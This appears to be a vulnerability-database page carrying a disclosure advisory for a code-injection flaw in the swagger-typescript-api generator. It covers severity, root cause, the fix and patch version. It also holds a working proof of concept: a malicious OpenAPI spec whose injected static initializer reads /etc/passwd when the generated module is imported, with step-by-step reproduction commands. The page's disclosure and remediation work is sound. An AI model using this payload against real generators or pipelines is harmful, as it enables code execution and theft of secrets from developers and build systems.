Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Remote specs justify AV:N; the victim must run the generator against attacker input and import the output, giving AC:H and UI:R; no privileges needed (PR:N); injected code escapes into the importer process (S:C) with full code execution (C/I/A:H).
Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).
CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
swagger-typescript-api interpolates servers[0].url directly into a TypeScript class-body field initializer of the generated fetch HttpClient (templates/base/http-clients/fetch-http-client.ejs:75), without any escaping. A malicious URL containing a " closes the string literal that initializes public baseUrl and exposes the surrounding *class body* to injection. The most direct exploit declares a new static field whose initializer is an async IIFE - TypeScript evaluates static field initializers at class definition time, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction - no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.
This is the highest-impact sink in the package: the trigger requires only a bare import of the generated module.
Details
createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:
return {
...
baseUrl: serverUrl, // <-- serverUrl = swaggerSchema.servers[0].url, raw
...
};The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) then interpolates that value into a TS string literal that initializes a public class-body field of the generated HttpClient:
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "<%~ apiConfig.baseUrl %>";
private securityData: SecurityDataType | null = null;
...
}<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function - escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) - only replaces */ and is not applied to this path.
TypeScript class-body grammar permits any number of field declarations and static blocks between { and }. A spec value of the form:
URL"; static _pwn = (IIFE)(); public x: string = "produces the following class body:
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "URL";
static _pwn = (IIFE)(); // <-- static field initializer
public x: string = "";
private securityData: SecurityDataType | null = null;
...
}The static _pwn = (IIFE)() declaration's initializer is evaluated at class definition - i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing public x: string = " reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.
The same Api class (in default/api.ejs) extends HttpClient. Importing the generated module evaluates the HttpClient class declaration during module initialization - no new HttpClient(), no new Api(), no method call. Importing anything that transitively depends on the generated module is sufficient.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious servers[0].url (literal string, JSON-encoded in the spec below):
https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
"servers": [
{
"url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
}
],
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": { "200": { "description": "OK" } }
}
}
}
}Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canaryGenerated out/Api.ts (HttpClient class body - payload, Biome-formatted):
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "https://api.example.com";
static _pwn = (async () => {
try {
const fs = await import("node:fs");
const data = fs.readFileSync("/etc/passwd", "utf8");
fs.writeFileSync("/tmp/sta_canary", data);
} catch (e) {}
})();
public x: string = "";
private securityData: SecurityDataType | null = null;
...
}static _pwn = (async () => { ... })() is a real TypeScript static class field declaration - Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.
Result: after a bare await import('./out/Api.bundle.mjs') (no instantiation, no method call), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean public baseUrl: string = "https://api.example.com"; and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json- a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR.
Lifecycle: the injected static initializer fires at module load - the moment the generated module is imported. A consumer does not need to instantiate HttpClient, does not need to construct Api, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.
Privilege: the IIFE runs with the full privileges of the importing process - read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.
Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),where escapeJsStringLiteral produces a properly-escaped JS string literal - at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change also closes the axios sibling sink at templates/base/http-clients/axios-http-client.ejs:71 (filed separately), since both templates read the same apiConfig.baseUrl value.
If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form - fixing only one leaves the other exploitable.
Submitted by: Hamza Haroon (thegr1ffyn)
Articles & Coverage 1
AnalysisAI
Arbitrary code execution in swagger-typescript-api (npm, versions <= 13.12.1) occurs because the generator interpolates the OpenAPI spec's servers[0].url raw into the generated fetch HttpClient's public baseUrl field initializer with no escaping. An attacker who controls the spec can close the string literal and declare a static class field whose IIFE runs at class-definition time, so merely importing the generated module - no instantiation, no method call - executes attacker code with the importer's privileges. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the victim generate a client in fetch mode (httpClientType: 'fetch') from an OpenAPI spec whose servers[0].url the attacker controls, and then import the generated module (or anything that transitively imports it) - import alone suffices because the injected `static` field initializer runs at class-definition/module-load time, with no instantiation or method call needed. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-severity issue for anyone generating clients from specs they do not fully author, but it is a developer/supply-chain risk rather than a mass-exploitable internet-facing one. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A CI pipeline regenerates a fetch-based TypeScript client on each build from a partner-hosted OpenAPI spec. An attacker who can influence that spec sets servers[0].url to `https://api.example.com"; static _pwn = (async()=>{ ...read secrets and exfiltrate... … |
| Remediation | Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 or later, which escapes apiConfig.baseUrl once at the source (src/code-gen-process.ts) via a new escapeJsStringLiteral helper before template rendering, closing both the fetch and axios sinks (see PR https://github.com/acacode/swagger-typescript-api/pull/1779 and advisory GHSA-hqj5-cw9f-rx67). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory all instances of swagger-typescript-api in production and development environments using npm audit or automated dependency scanning; identify any versions 13.12.1 or earlier. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-50363
GHSA-hqj5-cw9f-rx67